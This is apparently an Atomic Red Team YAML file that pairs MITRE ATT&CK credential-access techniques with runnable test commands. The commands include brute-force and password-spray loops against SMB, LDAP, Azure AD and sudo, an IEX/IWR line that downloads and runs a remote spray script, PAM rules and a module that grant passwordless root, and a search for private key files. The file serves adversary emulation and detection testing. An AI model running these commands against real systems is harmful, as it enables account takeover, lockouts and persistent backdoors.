        Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)

        Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:

        * SSH (22/TCP)
        * Telnet (23/TCP)
        * FTP (21/TCP)
        * NetBIOS / SMB / Samba (139/TCP & 445/TCP)
        * LDAP (389/TCP)
        * Kerberos (88/TCP)
        * RDP / Terminal Services (3389/TCP)
        * HTTP/HTTP Management Services (80/TCP & 443/TCP)
        * MSSQL (1433/TCP)
        * Oracle (1521/TCP)
        * MySQL (3306/TCP)
        * VNC (5900/TCP)

        In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)

        In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.
      id: attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2021-04-21T16:41:35.269Z'
      created: '2020-02-11T18:38:22.617Z'
      x_mitre_contributors:
      - Microsoft Threat Intelligence Center (MSTIC)
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Application Log: Application Log Content'
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Monitor authentication logs for system and application login
        failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If
        authentication failures are high, then there may be a brute force attempt
        to gain access to a system using legitimate credentials.
      x_mitre_version: '1.2'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      identifier: T1110.001
    atomic_tests:
    - name: Brute Force Credentials of single Active Directory domain users via SMB
      auto_generated_guid: '09480053-2f98-4854-be6e-71ae5f672224'
      description: 'Attempts to brute force a single Active Directory account by testing
        connectivity to the IPC$ share on a domain controller

'
      supported_platforms:
      - windows
      input_arguments:
        user:
          description: Account to bruteforce
          type: String
          default: "%username%"
      executor:
        name: command_prompt
        command: |
          echo Password1> passwords.txt
          echo 1q2w3e4r>> passwords.txt
          echo Password!>> passwords.txt
          echo Spring2022>> passwords.txt
          echo ChangeMe!>> passwords.txt
          @FOR /F "delims=" %p in (passwords.txt) DO @net use %logonserver%\IPC$ /user:"%userdomain%\#{user}" "%p" 1>NUL 2>&1 && @echo [*] #{user}:%p && @net use /delete %logonserver%\IPC$ > NUL
    - name: Brute Force Credentials of single Active Directory domain user via LDAP
        against domain controller (NTLM or Kerberos)
      auto_generated_guid: c2969434-672b-4ec8-8df0-bbb91f40e250
      description: 'Attempt to brute force Active Directory domain user on a domain
        controller, via LDAP, with NTLM or Kerberos

'
      supported_platforms:
      - windows
      input_arguments:
        user:
          description: Account to bruteforce
          type: String
          default: "$ENV:USERNAME"
        passwords_path:
          description: List of passwords we will attempt to brute force with
          type: Path
          default: PathToAtomicsFolder\T1110.001\src\passwords.txt
        domain:
          description: Active Directory domain FQDN
          type: String
          default: "$env:UserDnsDomain"
        auth:
          description: authentication method to choose between "NTLM" and "Kerberos"
          type: String
          default: NTLM
      executor:
        name: powershell
        elevation_required: false
        command: |
          if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
            Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
            exit 1
          }

          [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
          $di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389)

          $passwordList = Get-Content -Path #{passwords_path}
          foreach ($password in $passwordList){
            $credz = new-object System.Net.NetworkCredential("#{user}", $password, "#{domain}")
            $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})
            try {
              Write-Host " [-] Attempting ${password} on account #{user}."
              $conn.bind()
              # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
              Write-Host " [!] #{user}:${password} are valid credentials!"
            } catch {
              Write-Host $_.Exception.Message
            }
          }
          Write-Host "End of bruteforce"
    - name: Brute Force Credentials of single Azure AD user
      auto_generated_guid: 5a51ef57-299e-4d62-8e11-2d440df55e69
      description: 'Attempt to brute force Azure AD user via AzureAD powershell module.

'
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Account to bruteforce. We encourage users running this atomic
            to add a valid microsoft account domain; for eg "bruce.wayne@<valid_ms_account.com>"
          type: String
          default: bruce.wayne@contoso.com
        passwords:
          description: List of passwords we will attempt to brute force with
          type: String
          default: Password1`n1q2w3e4r`nPassword!
      dependency_executor_name: powershell
      dependencies:
      - description: 'AzureAD module must be installed.

'
        prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

'
        get_prereq_command: 'Install-Module -Name AzureAD -Force

'
      executor:
        name: powershell
        elevation_required: false
        command: |
          Import-Module -Name AzureAD

          $passwords = "#{passwords}".split("{`n}")
          foreach($password in $passwords) {
            $PWord = ConvertTo-SecureString -String "$password" -AsPlainText -Force
            $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
            try {
              Write-Host " [-] Attempting ${password} on account #{username}."
              Connect-AzureAD -Credential $Credential 2>&1> $null
              # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
              Write-Host " [!] #{username}:${password} are valid credentials!`r`n"
              break
            } catch {
              Write-Host " [-] #{username}:${password} invalid credentials.`r`n"
            }
          }
          Write-Host "End of bruteforce"
    - name: SUDO brute force Debian
      auto_generated_guid: 464b63e8-bf1f-422e-9e2c-2aa5080b6f9a
      description: "Brute force the password of a local user account which is a member
        of the sudo'ers group on a Debian based Linux distribution.  \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if running on a Debian based machine.

'
        prereq_command: |
          if grep -iq "debian\|ubuntu\|kali" /usr/lib/os-release; then echo "Debian"; else echo "NOT Debian"; exit 1; fi
          if grep -Rq "pam_tally" /etc/pam.d/*; then echo "pam_tally configured"; exit 1; fi
          if [ -x "$(command -v sudo)" ]; then echo "sudo installed"; else echo "install sudo"; fi
          if [ -x "$(command -v openssl)" ]; then echo "openssl installed"; else echo "install openssl"; fi
        get_prereq_command: 'apt-get update && apt-get install -y openssl sudo

'
      executor:
        elevation_required: true
        command: |
          useradd -G sudo -s /bin/bash -p $(openssl passwd -1 password) target
          su target

          PASSWORDS=(one two three password five); \
              touch /tmp/file; \
              for P in ${PASSWORDS[@]}; do \
                  date +"%b %d %T"; \
                  sudo -k && echo "$P" |sudo -S whoami &>/tmp/file; \
                  echo "exit: $?"; \
                  if grep -q "root" /tmp/file; then \
                      echo "FOUND: sudo => $P"; break; \
                  else \
                      echo "TRIED: $P"; \
                  fi; \
                  sleep 2; \
              done; \
              rm /tmp/file
        cleanup_command: 'userdel target

'
        name: sh
    - name: SUDO brute force Redhat
      auto_generated_guid: b72958a7-53e3-4809-9ee1-58f6ecd99ade
      description: "Brute force the password of a local user account which is a member
        of the sudo'ers group on a Redhat based Linux distribution.  \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if running on a Redhat based machine.

'
        prereq_command: |
          if grep -iq "rhel\|fedora\|centos" /usr/lib/os-release; then echo "Redhat"; else echo "NOT Redhat"; exit 1; fi
          if grep -Rq "pam_faillock" /etc/pam.d/*; then echo "pam_faillock configured"; exit 1; fi
          if [ -x "$(command -v sudo)" ]; then echo "sudo installed"; else echo "install sudo"; fi
          if [ -x "$(command -v openssl)" ]; then echo "openssl installed"; else echo "install openssl"; fi
        get_prereq_command: 'yum -y update && yum install -y openssl sudo

'
      executor:
        elevation_required: true
        command: |
          useradd -G wheel -s /bin/bash -p $(openssl passwd -1 password) target
          su target

          PASSWORDS=(one two three password five); \
              touch /tmp/file; \
              for P in ${PASSWORDS[@]}; do \
                  date +"%b %d %T"; \
                  sudo -k && echo "$P" |sudo -S whoami &>/tmp/file; \
                  echo "exit: $?"; \
                  if grep -q "root" /tmp/file; then \
                      echo "FOUND: sudo => $P"; break; \
                  else \
                      echo "TRIED: $P"; \
                  fi; \
                  sleep 2; \
              done; \
              rm /tmp/file
        cleanup_command: 'userdel target

'
        name: sh
  T1555.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1555.005
        url: https://attack.mitre.org/techniques/T1555/005
      - source_name: ise Password Manager February 2019
        url: https://www.ise.io/casestudies/password-manager-hacking/
        description: 'ise. (2019, February 19). Password Managers: Under the Hood
          of Secrets Management. Retrieved January 22, 2021.'
      - source_name: FoxIT Wocao December 2019
        url: https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf
        description: 'Dantzig, M. v., Schamper, E. (2019, December 19). Operation
          Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved
          October 8, 2020.'
      - source_name: Github KeeThief
        url: https://github.com/GhostPack/KeeThief
        description: Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8,
          2021.
      - source_name: NVD CVE-2019-3610
        url: https://nvd.nist.gov/vuln/detail/CVE-2019-3610
        description: National Vulnerability Database. (2019, October 9). CVE-2019-3610
          Detail. Retrieved April 14, 2021.
      - source_name: Cyberreason Anchor December 2019
        url: https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware
        description: 'Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM
          A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September
          10, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Password Managers
      description: |-
        Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)

        Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)
         Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)
      id: attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2021-04-14T19:15:22.416Z'
      created: '2021-01-22T16:08:40.629Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: "Consider monitoring API calls, file read events, and processes
        for suspicious activity that could indicate searching in process memory of
        password managers. \n\nConsider monitoring file reads surrounding known password
        manager applications."
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'File: File Access'
      - 'Process: Process Access'
      - 'Command: Command Execution'
      x_mitre_contributors:
      - Matt Burrough, @mattburrough, Microsoft
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1110.003:
    technique:
      id: attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c
      description: |-
        Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)

        Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:

        * SSH (22/TCP)
        * Telnet (23/TCP)
        * FTP (21/TCP)
        * NetBIOS / SMB / Samba (139/TCP & 445/TCP)
        * LDAP (389/TCP)
        * Kerberos (88/TCP)
        * RDP / Terminal Services (3389/TCP)
        * HTTP/HTTP Management Services (80/TCP & 443/TCP)
        * MSSQL (1433/TCP)
        * Oracle (1521/TCP)
        * MySQL (3306/TCP)
        * VNC (5900/TCP)

        In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)

        In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.
      name: Password Spraying
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1110.003
        url: https://attack.mitre.org/techniques/T1110/003
      - external_id: CAPEC-565
        source_name: capec
        url: https://capec.mitre.org/data/definitions/565.html
      - url: http://www.blackhillsinfosec.com/?p=4645
        description: Thyer, J. (2015, October 30). Password Spraying & Other Fun with
          RPCCLIENT. Retrieved April 25, 2017.
        source_name: BlackHillsInfosec Password Spraying
      - source_name: US-CERT TA18-068A 2018
        url: https://www.us-cert.gov/ncas/alerts/TA18-086A
        description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
          by Cyber Actors. Retrieved October 2, 2019.
      - source_name: Trimarc Detecting Password Spraying
        url: https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing
        description: 'Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password
          Spraying with Security Event Auditing. Retrieved January 16, 2019.'
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2021-04-06T12:32:47.678Z'
      created: '2020-02-11T18:39:25.122Z'
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.2'
      x_mitre_detection: |-
        Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.

        Consider the following event IDs:(Citation: Trimarc Detecting Password Spraying)

        * Domain Controllers: "Audit Logon" (Success & Failure) for event ID 4625.
        * Domain Controllers: "Audit Kerberos Authentication Service" (Success & Failure) for event ID 4771.
        * All systems: "Audit Logon" (Success & Failure) for event ID 4648.
      x_mitre_permissions_required:
      - User
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Application Log: Application Log Content'
      x_mitre_contributors:
      - Microsoft Threat Intelligence Center (MSTIC)
      - John Strand
      identifier: T1110.003
    atomic_tests:
    - name: Password Spray all Domain Users
      auto_generated_guid: 90bc2e54-6c84-47a5-9439-0a2a92b4b175
      description: |-
        CAUTION! Be very careful to not exceed the password lockout threshold for users in the domain by running this test too frequently.
        This atomic attempts to map the IPC$ share on one of the Domain Controllers using a password of Spring2020 for each user in the %temp%\users.txt list. Any successful authentications will be printed to the screen with a message like "[*] username:password", whereas a failed auth will simply print a period. Use the input arguments to specify your own password to use for the password spray.
        Use the get_prereq_command's to create a list of all domain users in the temp directory called users.txt.
        See the "Windows FOR Loop Password Spraying Made Easy" blog by @OrOneEqualsOne for more details on how these spray commands work. https://medium.com/walmartlabs/windows-for-loop-password-spraying-made-easy-c8cd4ebb86b5
      supported_platforms:
      - windows
      input_arguments:
        password:
          description: The password to try for each user in users.txt
          type: String
          default: Spring2020
      dependencies:
      - description: 'List of domain users to password spray must exits at %temp%\users.txt

'
        prereq_command: 'if not exist %temp%\users.txt (exit /b 1)

'
        get_prereq_command: 'PathToAtomicsFolder\T1110.003\src\parse_net_users.bat

'
      executor:
        name: command_prompt
        elevation_required: false
        command: '@FOR /F %n in (%temp%\users.txt) do @echo | set/p=. & @net use %logonserver%\IPC$
          /user:"%userdomain%\%n" "#{password}" 1>NUL 2>&1 && @echo [*] %n:#{password}
          && @net use /delete %logonserver%\IPC$ > NUL

'
    - name: Password Spray (DomainPasswordSpray)
      auto_generated_guid: 263ae743-515f-4786-ac7d-41ef3a0d4b2b
      description: |
        Perform a domain password spray using the DomainPasswordSpray tool. It will try a single password against all users in the domain

        https://github.com/dafthack/DomainPasswordSpray
      supported_platforms:
      - windows
      input_arguments:
        domain:
          description: Domain to brute force against
          type: String
          default: "$Env:USERDOMAIN"
      executor:
        name: powershell
        elevation_required: false
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force
    - name: Password spray all Active Directory domain users with a single password
        via LDAP against domain controller (NTLM or Kerberos)
      auto_generated_guid: f14d956a-5b6e-4a93-847f-0c415142f07d
      description: |
        Attempt to brute force all Active Directory domain users with a single password (called "password spraying") on a domain controller, via LDAP, with NTLM or Kerberos

        Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user (to fetch the list of all domain users)
      supported_platforms:
      - windows
      input_arguments:
        password:
          description: single password we will attempt to auth with (if you need several
            passwords, then it is a bruteforce so see T1110.001)
          type: String
          default: P@ssw0rd!
        domain:
          description: Domain FQDN
          type: String
          default: "$env:UserDnsDomain"
        auth:
          description: authentication method to choose between "NTLM" and "Kerberos"
          type: String
          default: NTLM
      executor:
        name: powershell
        elevation_required: false
        command: |
          if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
            Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
            exit 1
          }

          $DomainUsers = Get-ADUser -LDAPFilter '(&(sAMAccountType=805306368)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' -Server #{domain} | Select-Object -ExpandProperty SamAccountName

          [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
          $di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389)

          $DomainUsers | Foreach-Object {
            $user = $_
            $password = '#{password}'

            $credz = new-object System.Net.NetworkCredential($user, $password, "#{domain}")
            $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})
            try {
              Write-Host " [-] Attempting ${password} on account ${user}."
              $conn.bind()
              # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
              Write-Host " [!] ${user}:${password} are valid credentials!"
            } catch {
              Write-Host $_.Exception.Message
            }
          }
          Write-Host "End of password spraying"
    - name: Password spray all Azure AD users with a single password
      auto_generated_guid: a8aa2d3e-1c52-4016-bc73-0f8854cfa80a
      description: |
        Attempt to brute force all Azure AD users with a single password (called "password spraying") via AzureAD Powershell module.
        Valid credentials are only needed to fetch the list of Azure AD users.
      supported_platforms:
      - azure-ad
      input_arguments:
        password:
          description: Single password we will attempt to auth with (if you need several
            passwords, then it is a bruteforce so see T1110.001)
          type: String
          default: P@ssw0rd!
        valid_username:
          description: Valid username to retrieve Azure AD users. We encourage users
            running this atomic to add a valid microsoft account domain; for eg <valid_test_user>@<valid_ms_account.com>
          type: String
          default: bruce.wayne@contoso.com
        valid_password:
          description: Valid password to authenticate as valid_username in the <valid_ms_account>
          type: String
          default: iamthebatman
      dependency_executor_name: powershell
      dependencies:
      - description: 'AzureAD module must be installed.

'
        prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

'
        get_prereq_command: 'Install-Module -Name AzureAD -Force

'
      executor:
        name: powershell
        elevation_required: false
        command: |
          Import-Module -Name AzureAD
          $PWord = ConvertTo-SecureString -String "#{valid_password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{valid_username}", $Pword
          Connect-AzureAD -Credential $Credential > $null

          ($Users = Get-AzureADUser -All $true) > $null
          Disconnect-AzureAD > $null
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force

          $Users | Foreach-Object {
            $user = $_.UserPrincipalName
            $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "$user", $Pword
            try {
              Write-Host " [-] Attempting #{password} on account ${user}."
              Connect-AzureAD -Credential $Credential 2>&1> $null
              # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
              Write-Host " [!] ${user}:#{password} are valid credentials!`r`n"
              Disconnect-AzureAD > $null
            } catch {
              Write-Host " [-] ${user}:#{password} invalid credentials.`r`n"
            }
          }
          Write-Host "End of password spraying"
  T1556.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1556.003
        url: https://attack.mitre.org/techniques/T1556/003
      - source_name: Apple PAM
        url: https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt
        description: Apple. (2011, May 11). PAM - Pluggable Authentication Modules.
          Retrieved June 25, 2020.
      - source_name: Man Pam_Unix
        url: https://linux.die.net/man/8/pam_unix
        description: die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June
          25, 2020.
      - source_name: Red Hat PAM
        url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules
        description: Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES
          (PAM). Retrieved June 25, 2020.
      - source_name: PAM Backdoor
        url: https://github.com/zephrax/linux-pam-backdoor
        description: zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June
          25, 2020.
      - source_name: PAM Creds
        url: https://x-c3ll.github.io/posts/PAM-backdoor-DNS/
        description: Fernández, J. M. (2018, June 27). Exfiltrating credentials via
          PAM backdoors & DNS requests. Retrieved June 26, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Pluggable Authentication Modules
      description: |-
        Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)

        Adversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)

        Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)
      id: attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-20T20:12:34.422Z'
      created: '2020-06-26T04:01:09.648Z'
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - root
      x_mitre_detection: |-
        Monitor PAM configuration and module paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.

        Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Logon Session: Logon Session Creation'
      x_mitre_contributors:
      - Scott Knight, @sdotknight, VMware Carbon Black
      - George Allen, VMware Carbon Black
      x_mitre_platforms:
      - Linux
      - macOS
      identifier: T1556.003
    atomic_tests:
    - name: Malicious PAM rule
      auto_generated_guid: 4b9dde80-ae22-44b1-a82a-644bf009eb9c
      description: |
        Inserts a rule into a PAM config and then tests it.

        Upon successful execution, this test will insert a rule that allows every user to su to root without a password.
      supported_platforms:
      - linux
      input_arguments:
        path_to_pam_conf:
          description: PAM config file to modify.
          type: String
          default: "/etc/pam.d/su-l"
        pam_rule:
          description: Rule to add to the PAM config.
          type: String
          default: auth sufficient pam_succeed_if.so uid >= 0
        index:
          description: Index where the rule is inserted.
          type: Integer
          default: 1
      executor:
        name: sh
        elevation_required: true
        command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}

'
        cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf}

'
    - name: Malicious PAM module
      auto_generated_guid: 65208808-3125-4a2e-8389-a0a00e9ab326
      description: |
        Creates a PAM module, inserts a rule to use it, and then tests it.

        Upon successful execution, this test will create a PAM module that allows every user to su to root without a password.
      supported_platforms:
      - linux
      input_arguments:
        path_to_pam_conf:
          description: PAM config file to modify.
          type: String
          default: "/etc/pam.d/su-l"
        pam_rule:
          description: Rule to add to the PAM config.
          type: String
          default: auth sufficient /tmp/pam_evil.so
        index:
          description: Index where the rule is inserted.
          type: Integer
          default: 1
        path_to_pam_module_source:
          description: Path to PAM module source code.
          type: Path
          default: PathToAtomicsFolder/T1556.003/src/pam_evil.c
        path_to_pam_module:
          description: Path to PAM module object
          type: Path
          default: "/tmp/pam_evil.so"
      dependencies:
      - description: 'The PAM development library must be installed to build the PAM
          module

'
        prereq_command: 'if [ -f /usr/include/security/pam_modules.h ]; then exit
          0; else exit 1; fi;

'
        get_prereq_command: 'if [ -n "`which apt-get`" ]; then sudo apt-get -y install
          libpam0g-dev; elif [ -n "`which yum`" ]; then sudo yum -y install pam-devel;
          fi

'
      - description: 'The PAM module must exist on disk at specified location (#{path_to_pam_module})

'
        prereq_command: 'if [ -f #{path_to_pam_module} ]; then exit 0; else exit 1;
          fi;

'
        get_prereq_command: 'sudo gcc -shared -fPIC -o #{path_to_pam_module} #{path_to_pam_module_source}

'
      executor:
        name: sh
        elevation_required: true
        command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}

'
        cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf}

'
  T1552.004:
    technique:
      id: attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf
      description: "Adversaries may search for private key certificate files on compromised
        systems for insecurely stored credentials. Private cryptographic keys and
        certificates are used for authentication, encryption/decryption, and digital
        signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate
        file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer,
        .p7b, .asc. \n\nAdversaries may also look in common key directories, such
        as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:&#92;Users&#92;(username)&#92;.ssh&#92;</code>
        on Windows. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021)
        like SSH or for use in decrypting other collected files such as email.\n\nAdversary
        tools have been discovered that search compromised systems for file extensions
        relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation:
        Palo Alto Prince of Persia)\n\nSome private keys require a password or passphrase
        for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056)
        for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110)
        the passphrase off-line."
      name: Private Keys
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1552.004
        url: https://attack.mitre.org/techniques/T1552/004
      - url: https://en.wikipedia.org/wiki/Public-key_cryptography
        description: Wikipedia. (2017, June 29). Public-key cryptography. Retrieved
          July 5, 2017.
        source_name: Wikipedia Public Key Crypto
      - url: https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf
        description: Kaspersky Labs. (2014, February 11). Unveiling “Careto” - The
          Masked APT. Retrieved July 5, 2017.
        source_name: Kaspersky Careto
      - url: https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/
        description: Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia
          – Game Over. Retrieved July 5, 2017.
        source_name: Palo Alto Prince of Persia
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-03-29T21:36:36.613Z'
      created: '2020-02-04T13:06:49.258Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_contributors:
      - Itzik Kotler, SafeBreach
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_detection: Monitor access to files and directories related to cryptographic
        keys and certificates as a means for potentially detecting access patterns
        that may indicate collection and exfiltration activity. Collect authentication
        logs and look for potentially abnormal activity that may indicate improper
        use of keys or certificates for remote authentication.
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1552.004
    atomic_tests:
    - name: Private Keys
      auto_generated_guid: 520ce462-7ca7-441e-b5a5-f8347f632696
      description: |
        Find private keys on the Windows file system.
        File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc
      supported_platforms:
      - windows
      executor:
        command: 'dir c:\ /b /s .key | findstr /e .key

'
